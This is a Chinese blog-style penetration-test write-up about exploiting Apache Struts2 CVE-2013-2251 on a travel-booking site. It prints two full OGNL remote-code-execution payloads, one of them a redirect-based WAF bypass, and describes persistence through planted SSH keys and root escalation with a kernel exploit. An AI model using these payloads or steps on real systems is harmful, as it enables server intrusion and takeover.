溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用Struts2漏洞繞過防火墻獲取Root權限

發(fā)布時間:2021-11-18 15:47:11 來源:億速云 閱讀:243 作者:柒染 欄目:網(wǎng)絡管理

如何利用Struts2漏洞繞過防火墻獲取Root權限,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

關于Apache struts2 CVE-2013–2251漏洞的,由于該漏洞可以導致遠程代碼執(zhí)行,曾一度被廣泛濫用。該漏洞原理在于,通過操縱前綴為“action:”/”redirect:”/”redirectAction:”的參數(shù),在Struts 低于2.3.15的版本框架中實現(xiàn)遠程代碼執(zhí)行。此次測試中,我不僅繞過了WAF防火墻實現(xiàn)遠程代碼執(zhí)行,還利用了某Linux提權漏洞獲取了目標服務器的root管理控制權。整個過程如下:

構(gòu)造Payload被WAF攔截

首先我在測試一個旅游預訂網(wǎng)站的時候,發(fā)現(xiàn)了其網(wǎng)站存在有漏洞的Apache Struts框架,又對“action, redirect,redirectAction”漏洞參數(shù)進行了必要的測試,為了實現(xiàn)漏洞利用,需要構(gòu)造一個OGNL表達式,從這個網(wǎng)站上我得到了一些啟示,由此,我構(gòu)造了一個執(zhí)行命令"ifconfig"的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

如何利用Struts2漏洞繞過防火墻獲取Root權限

但不出所料,以上Payload卻被目標服務器上的應用層防火墻攔截了,返回了以下bots響應頁面:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

這時,我總會從根本性上來分析問題,之前提到過,漏洞參數(shù)中涉及 “Redirect”,而上述Payload也是利用了 “Redirect”參數(shù)構(gòu)造的,那我們再對目標網(wǎng)站的請求作個Redirect測試吧,把請求跳轉(zhuǎn)到假設網(wǎng)站http://www.goal.com上來,如下:

如何利用Struts2漏洞繞過防火墻獲取Root權限

構(gòu)造Payload繞過WAF

可以看到,最終響應頁面中是一個指向假設網(wǎng)站http://www.goal.com的302跳轉(zhuǎn)頁面。上述直接的Payload被防火墻阻擋了,而這里的跳轉(zhuǎn)卻能生效,那兩者結(jié)合是不是可以玩?zhèn)€防火墻繞過呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

測試后發(fā)起的請求如下:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

響應測試后,竟然能繞過防火墻執(zhí)行ifconfig命令,哈哈,是時候歡呼了!

如何利用Struts2漏洞繞過防火墻獲取Root權限

SSH方式獲取shell

好吧,接下來,我就來嘗試遠程管理權限獲取。我使用了反向SSH隧道和公鑰身份驗證進行了嘗試,這種方式,允許SSH用戶無需輸入密碼即可登錄。為此呢,我需要把我入侵測試服務器AWS的SSH公鑰放到目標服務器的授權認證列表~/.ssh/authorized_keys中去,并且,為了證實身份和作反向SSH連接,我還必需在我的測試服務器中添加進目標服務器的id_rsa.pub公鑰。這里涉及的公鑰認證概念可參考此處public key authentication說明。

id_rsa.pub是一個用戶身份公鑰,可以把它添加進其它主機中的authorized_keys文件中,以實現(xiàn)用該用戶身份的登錄行為。authorized_keys則是允許登錄到該特定服務器上的特定用戶的公鑰列表。

第一步,獲取目標服務器的id_rsa.pub文件:

如何利用Struts2漏洞繞過防火墻獲取Root權限

第二步,把authorized_keys文件復制到我的AWS測試服務器中:

如何利用Struts2漏洞繞過防火墻獲取Root權限

第三步,將我AWS測試服務器中構(gòu)造好的authorized_keys文件復制回目標服務器中:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

使用SSH反向?qū)崿F(xiàn)最終連接:

如何利用Struts2漏洞繞過防火墻獲取Root權限

root提權

看到了吧,可以獲取遠程管理權限,但卻不是root管理員身份。好吧,為了要root身份提權,我來看看目標服務器上的Linux內(nèi)核版本:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

是 2.6.32 版本的,Google一下,看看有沒有對應的漏洞,哇,竟然有一個對應的系統(tǒng)提權漏洞:https://github.com/realtalk/cve-2013-2094 ,最終編譯運行exploit,實現(xiàn)root提權:    

如何利用Struts2漏洞繞過防火墻獲取Root權限    

好吧,以上就是我利用apache strut 2漏洞,繞過WAF并結(jié)合某Linux提權漏洞實現(xiàn)的一次滲透測試。

看完上述內(nèi)容,你們掌握如何利用Struts2漏洞繞過防火墻獲取Root權限的方法了嗎?如果還想學到更多技能或想了解更多相關內(nèi)容,歡迎關注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI